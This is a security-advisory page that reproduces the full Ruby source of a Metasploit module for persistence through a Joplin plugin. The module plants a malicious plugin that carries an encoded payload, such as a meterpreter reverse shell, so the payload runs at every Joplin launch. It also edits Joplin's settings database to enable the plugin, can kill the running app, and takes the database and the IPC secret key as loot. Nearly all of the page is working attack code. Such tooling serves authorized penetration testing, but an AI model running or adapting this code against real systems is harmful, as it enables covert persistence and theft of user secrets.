METASPLOIT

Joplin Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-JOPLIN_PLUGIN-

Description

This module installs a malicious Joplin plugin .jpl into the target's Joplin plugin directory. The plugin executes the payload each time Joplin is launched, providing persistent code execution. Joplin can not be running at the time of plugin...
Visit Original Source

Basic Information

ID MSF:EXPLOIT-MULTI-PERSISTENCE-JOPLIN_PLUGIN-
Published Jun 19, 2026 at 19:03

Affected Product

Affected Versions # frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'sqlite3'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Unix # whoami
include Msf::Auxiliary::Report
include Msf::Exploit::Local::Persistence

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Joplin Plugin Persistence',
'Description' => %q{
This module installs a malicious Joplin plugin (.jpl) into the target's
Joplin plugin directory. The plugin executes the payload each time Joplin
is launched, providing persistent code execution. Joplin can not
be running at the time of plugin installation, or it will be overwriten
at shutdown. The module can optionally kill Joplin if it is detected running.

Tested against Joplin 3.6.11 on Windows 10, 3.6.10 on Kali
},
'License' => MSF_LICENSE,
'Author' => [
'h00die' # Module
],
'DisclosureDate' => '2017-12-07', # initial joplin release date
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Privileged' => false,
'References' => [
[ 'URL', 'https://joplinapp.org/help/api/get_started/plugins/' ],
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
['ATT&CK', Mitre::Attack::Technique::T1176_SOFTWARE_EXTENSIONS]
],
'Arch' => [ARCH_CMD],
'Platform' => %w[linux windows],
'Payload' => {
'Space' => 8191,
'DisableNops' => true
},
'Targets' => [
['Windows', { 'Platform' => 'windows' }], # set payload payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp
['Linux', { 'Platform' => %w[linux unix] }],
# ['OSX', { 'Platform' => %w[linux unix] }]
],
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
},
'DefaultTarget' => 0
)
)

register_options([
OptString.new('NAME', [false, 'Name of the plugin', '']),
OptString.new('DESCRIPTION', [false, 'Description of the plugin', '']),
OptString.new('USER', [false, 'User to target, or current user if blank', '']),
OptString.new('DATABASE', [false, 'Full path to Joplin database.sqlite on target (auto-detected if blank)', '']),
OptBool.new('KILLJOPLIN', [false, 'Kill Joplin if it is running before modifying the database', false])
])
deregister_options('WritableDir')
end

def plugin_name
# memoized so manifest and install path always use the same name
@plugin_name ||= if datastore['NAME'].blank?
rand_text_alphanumeric(4..10)
else
datastore['NAME']
end
end

def plugin_id
@plugin_id ||= "com.#{rand_text_alpha(4..8).downcase}.#{plugin_name}"
end

def manifest
{
'manifest_version' => 1,
'id' => plugin_id,
'app_min_version' => '3.2',
'version' => '1.0.0',
'name' => plugin_name,
'description' => datastore['DESCRIPTION'].blank? ? '' : datastore['DESCRIPTION'],
'author' => '',
'homepage_url' => '',
'repository_url' => '',
'keywords' => [],
'categories' => [],
'screenshots' => [],
'icons' => {},
'promo_tile' => {}
}.to_json
end

def index_js
::File.read(::File.join(Msf::Config.data_directory, 'exploits', 'joplin_plugin', 'index.js.template'))
end

def create_plugin_tar(pload)
tar = StringIO.new
Rex::Tar::Writer.new(tar) do |t|
t.add_file('manifest.json', 0o644) do |f|
f.write(manifest)
end
t.add_file('index.js', 0o644) do |f|
f.write(index_js)
end
t.add_file('external', 0o644) do |f|
f.write([pload].pack('m0'))
end
end
tar.seek(0)
data = tar.read
tar.close
data
end

def target_user
return datastore['USER'] unless datastore['USER'].blank?

return create_process('cmd.exe', args: ['/c', 'echo', '%USERNAME%']).strip if ['windows', 'win'].include? session.platform

whoami
end

def joplin_base_dirs
user = target_user
vprint_status("Target user: #{user}")

case session.platform
when 'windows', 'win'
[
"C:\\Users\\#{user}\\.config\\joplin-desktop",
"C:\\Users\\#{user}\\.config\\joplin",
"C:\\Users\\#{user}\\AppData\\Roaming\\joplin",
"C:\\Users\\#{user}\\AppData\\Roaming\\joplin-desktop"
]
# when 'osx'
# [
# "/Users/#{user}/Library/Application Support/joplin",
# "/Users/#{user}/Library/Application Support/joplin-desktop"
# ]
else # linux
home = user == 'root' ? '/root' : "/home/#{user}"
[
"#{home}/.config/joplin",
"#{home}/.config/joplin-desktop",
"#{home}/snap/joplin-desktop/current/.config/joplin-desktop"
]
end
end

def check
joplin_base_dirs.each do |dir|
return CheckCode::Appears("Joplin installation found: #{dir}") if directory?(dir)
end

CheckCode::Safe('No Joplin installation found')
end

def windows?
['windows', 'win'].include?(session.platform)
end

def joplin_running?
if windows?
!create_process('powershell', args: ['-Command', 'Get-Process -Name Joplin* -ErrorAction SilentlyContinue']).strip.empty?
else
!create_process('pgrep', args: ['-i', 'joplin']).strip.empty?
end
end

def kill_joplin
if windows?
create_process('powershell', args: ['-Command', 'Stop-Process -Name Joplin -Force -ErrorAction SilentlyContinue'])
else
create_process('pkill', args: ['-i', 'joplin'])
end
Rex.sleep(2)
if joplin_running?
print_warning('Joplin is still running after kill attempt')
return false
end
print_good('Joplin killed successfully')
true
end

def find_joplin_database
user = target_user
print_status('Searching for Joplin database...')

if session.type == 'meterpreter' && windows?
search_root = "C:\\Users\\#{user}"
begin
results = session.fs.file.search(search_root, 'database.sqlite', true)
results.each do |r|
path = "#{r['path']}\\#{r['name']}"
vprint_status(" Found: #{path}")
return path if path.downcase.include?('joplin')
end
rescue Rex::Post::Meterpreter::RequestError => e
print_warning("Meterpreter file search failed: #{e.message}")
end
return nil
end

# Shell session fallback
if windows?
results = create_process('powershell', args: ['-Command', "Get-ChildItem -Path 'C:\\Users\\#{user}' -Recurse -Filter 'database.sqlite' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty FullName"]).strip
else
home = user == 'root' ? '/root' : "/home/#{user}"
results = create_process('find', args: [home, '-name', 'database.sqlite']).strip
end

results.lines.each do |path|
path = path.strip
next if path.empty?

vprint_status(" Found: #{path}")
return path if path.downcase.include?('joplin')
end

nil
end

def register_plugin(base_dir, plugin_id)
sep = windows? ? '\\' : '/'

db_path = if datastore['DATABASE'].present?
datastore['DATABASE']
else
"#{base_dir}#{sep}database.sqlite"
end

unless file?(db_path)
print_warning("Joplin database not found at: #{db_path}")
db_path = find_joplin_database
if db_path.nil?
print_warning('Set DATABASE to the correct path and re-run, or enable the plugin manually via Tools > Plugins')
return
end
print_good("Found database at: #{db_path}")
end

print_status('Downloading Joplin database...')
db_data = read_file(db_path)

loot_path = store_loot(
'joplin.database',
'application/x-sqlite3',
session.session_host,
db_data,
'database.sqlite',
'Joplin SQLite database'
)
print_good("Database saved to loot: #{loot_path}")

begin
db = SQLite3::Database.new(loot_path)

# Load all rows in Ruby and filter client-side: the unique index can become
# corrupted (orphaned rows not tracked by the index), causing INSERT OR REPLACE
# to miss stale entries. Joplin does a full table scan on startup and crashes
# if it finds two rows with the same key.
all_rows = db.execute('SELECT rowid, key, value FROM settings')
existing = all_rows.select { |r| r[1] == 'plugins.states' }
vprint_status("Found #{existing.length} existing plugins.states row(s)")

states = {}
if existing.any?
begin
states = JSON.parse(existing.first[2])
rescue JSON::ParserError => e
print_warning("Could not parse existing plugins.states: #{e.message}")
end
existing.each { |row| db.execute('DELETE FROM settings WHERE rowid=?', [row[0]]) }
end

states[plugin_id] = { 'enabled' => true, 'deleted' => false, 'hasBeenUpdated' => false }
new_json = JSON.generate(states)
tbl = Rex::Text::Table.new(
'Header' => 'Joplin Plugin States',
'Indent' => 4,
'Columns' => ['Plugin ID', 'Enabled', 'Deleted', 'Has Been Updated']
)
states.each { |id, s| tbl << [id, s['enabled'], s['deleted'], s['hasBeenUpdated']] }
print_line(tbl.to_s)
# Use a SQL literal for the key: the sqlite3 gem binds Ruby string parameters
# as BLOB in MSF's encoding context, but Joplin queries with WHERE key='plugins.states'
# (TEXT literal), which never matches a BLOB — the plugin would be invisible.
db.execute("INSERT INTO settings (key, value) VALUES ('plugins.states', ?)", [new_json])
db.close
rescue LoadError
print_warning('sqlite3 gem not available — enable the plugin manually via Tools > Plugins')
return
rescue SQLite3::Exception => e
print_warning("Failed to modify database: #{e.message}")
return
end

print_status('Re-uploading modified database...')
write_file(db_path, ::File.binread(loot_path))

['-wal', '-shm'].each do |ext|
wal = "#{db_path}#{ext}"
next unless file?(wal)

print_status("Removing #{ext} file to prevent WAL replay: #{wal}")
rm_f(wal)
end

print_good('Plugin registered in Joplin database')
[loot_path, db_path]
end

def loot_ipc_key(base_dir)
sep = windows? ? '\\' : '/'
key_path = "#{base_dir}#{sep}ipc_secret_key.txt"
unless file?(key_path)
print_warning("ipc_secret_key.txt not found at #{key_path}")
return
end
key_data = read_file(key_path)
loot_path = store_loot(
'joplin.ipc_secret_key',
'text/plain',
session.session_host,
key_data,
'ipc_secret_key.txt',
'Joplin IPC secret key'
)
print_good("IPC secret key saved to loot: #{loot_path}")
end

def install_persistence
print_status("Using plugin name: #{plugin_id}")

base_dir = joplin_base_dirs.find { |dir| directory?(dir) }
fail_with(Failure::NotFound, 'No Joplin installation found') if base_dir.nil?

loot_ipc_key(base_dir)

sep = windows? ? '\\' : '/'
plugin_dir = "#{base_dir}#{sep}plugins"
plugin_path = "#{plugin_dir}#{sep}#{plugin_id}.jpl"

unless directory?(plugin_dir)
print_status("Creating plugins directory: #{plugin_dir}")
mkdir(plugin_dir, cleanup: false)
end

jpl_data = create_plugin_tar(payload.encoded)
print_status("Writing plugin to: #{plugin_path} (#{jpl_data.length} bytes)")
write_file(plugin_path, jpl_data)

# Verify AV did not immediately quarantine/delete the file
if file?(plugin_path)
print_good("Plugin written to #{plugin_path}")
else
print_warning("Plugin file missing after write — may have been quarantined by AV: #{plugin_path}")
end

if joplin_running?
if datastore['KILLJOPLIN']
print_status('Joplin is running — killing it before modifying the database...')
if kill_joplin
result = register_plugin(base_dir, plugin_id)
else
print_warning('Could not kill Joplin — skipping database registration.')
print_warning('Close Joplin manually and re-run this module so the plugin registration persists.')
result = nil
end
else
print_warning('Joplin is currently running — the database modification will be overwritten when Joplin closes.')
print_warning('Close Joplin completely and re-run this module, or set KILLJOPLIN true to kill it automatically.')
print_warning('The .jpl file has been written; only the database registration step will be skipped.')
result = nil
end
else
result = register_plugin(base_dir, plugin_id)
end

if windows?
@clean_up_rc << "del /f \"#{plugin_path}\"\n"
else
@clean_up_rc << "rm -f \"#{plugin_path}\"\n"
end

if result
original_db_loot, db_path = result
@clean_up_rc << "upload #{original_db_loot} #{db_path}\n"
end

if result
print_status('Joplin is not running — launch it to trigger the plugin')
end
print_status("If the payload does not execute, check log files in #{base_dir} for plugin errors")
end
end

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.